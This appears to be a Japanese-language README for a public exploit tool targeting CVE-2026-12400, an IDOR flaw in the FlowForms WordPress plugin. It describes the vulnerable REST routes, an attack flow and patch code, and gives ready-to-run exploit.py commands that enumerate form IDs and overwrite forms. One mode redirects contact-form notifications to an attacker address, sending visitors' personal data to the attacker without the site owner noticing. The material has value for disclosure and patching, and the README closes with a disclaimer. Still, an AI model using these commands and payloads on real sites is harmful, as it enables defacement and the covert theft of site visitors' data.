
認証済みWordPress IDORエクスプロイト(CVE-2026-12400用)。FlowForms RESTフォームIDを列挙し、フォームコンテンツを改変したり、メール通知を乗っ取ったりします。
| プロパティ | 値 |
|---|
| CVE ID | CVE-2026-12400 |
| CVSS スコア | 4.3 — 中 |
| CVSS ベクトル | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (ユーザー制御キーによる認証バイパス) |
| 製品 | FlowForms — WordPress 会話形式フォームビルダープラグイン |
| 影響を受けるバージョン | バージョン 1.1.1 までのすべてのバージョン |
| 修正バージョン | 1.1.2 で修正 |
| 研究者 | Phantom Hat |
ソースコード分析、入力フロートレース、パッチ差分を含む完全なホワイトボックスケーススタディ:
FlowForms は flowforms/v1 名前空間の下に脆弱な2つのREST APIエンドポイントを公開しています:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
両方ともURLパス内のユーザー制御の {id} を受け入れ、対象フォームのデータ(名前、コンテンツ、レイアウト、リダイレクトURL、メール通知受信者)を変更します。
両方の脆弱なルート登録は同じ欠陥のある permission_callback を共有しています:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts は Contributor が持つ権限です。{id} パラメータはリクエストユーザーの所有権に対してチェックされることはなく、認証されたユーザーであればサイト上の任意のフォームIDを対象にできます。
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| モード | エンドポイント | 影響 |
|---|---|---|
name | /forms/{id} | 任意のフォームの名前変更 — 改ざん、ソーシャルエンジニアリング |
content | /forms/{id} | レイアウト、ようこそ/感謝画面、リダイレクトURLを上書き |
email | /forms/{id}/settings | 通知メールを乗っ取り — すべてのフォーム送信を静かに受信 |
email モードが最も重要です。乗っ取った後、被害者のお問い合わせフォームへのすべての送信(訪問者の個人情報、メッセージ、連絡先詳細を含む)は、攻撃者制御のアドレスに静かに転送されます。サイト管理者は変更の痕跡を見ることができません。
Contributor ロールを持つ認証済みアカウントgit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
任意のフォームを攻撃者制御のコンテンツに名前変更:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
フォームのレイアウト、画面、リダイレクトURL、背景画像を上書き:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
将来のすべてのフォーム送信通知を攻撃者制御のアドレスにリダイレクト:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| フラグ | 短縮 | 説明 | 必須 |
|---|---|---|---|
--url | -u | 対象WordPress URL | ✅ |
--user | WordPressユーザー名(Contributor+) | ✅ | |
--password | WordPressパスワード | ✅ | |
--id-start | -i | 列挙の開始フォームID | ✅ |
--num-forms | -n | 列挙するフォームIDの数 | ✅ |
--exploit | 攻撃モード: name / content / email | ✅ | |
--proxy | -p | プロキシURL(例: http://127.0.0.1:8080) | ❌ |
JSONペイロードテンプレート(NAME_EDIT、CONTENT_EDIT、EMAIL_EDIT)はスクリプトの先頭で定義されています。実行前に編集して攻撃コンテンツをカスタマイズしてください — 通知メールアドレス、リダイレクトURL、背景画像、フォームタイトルなどを変更します。
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
エクスプロイトは3つの自動化ステップを実行します:
ステップ1 — 認証
攻撃者(Contributor)としてログインし、wp-admin/post-new.php から有効なREST API nonceを取得します。
ステップ2 — フォームの列挙
指定されたID範囲で GET /flowform/{id} をスキャンします。HTTP 200を返すIDがアクセス可能なターゲットとして収集されます — これらは管理者を含むサイト上の任意のユーザーが所有する公開フォームです。
ステップ3 — エクスプロイト 選択されたモードに応じて、保護されていないRESTエンドポイントに対応するペイロードを送信します:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsサーバーはリクエストを受け入れ、所有権チェックなしで変更を適用します。
| 対応 | 詳細 |
|---|---|
| パッチ | 両方のエンドポイントで一般的な edit_posts チェックを current_user_can('edit_post', $form_id) に置き換える — 機能チェックを特定の投稿オブジェクトにバインドすることでWordPressの所有権ルールを強制する |
| 緩和策 | パッチが適用されるまで、プラグインが有効な場合は Contributor および Author ロールを制限する |
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Polished exploit with rich UI (3 modes)
├── requirements.txt # Python dependencies
└── README.md # This file
このツールは、許可されたセキュリティテストおよび教育研究目的のみで提供されます。 コンピュータシステムへの不正アクセスは、該当する法律の下で世界中で違法です。 作者は本ソフトウェアの誤用に対する一切の責任を負いません。 所有していないシステムをテストする前に、常に明示的な書面による許可を得てください。
Phantom Hat — 独立系セキュリティ研究者
この研究は責任ある脆弱性開示の一環として実施されました。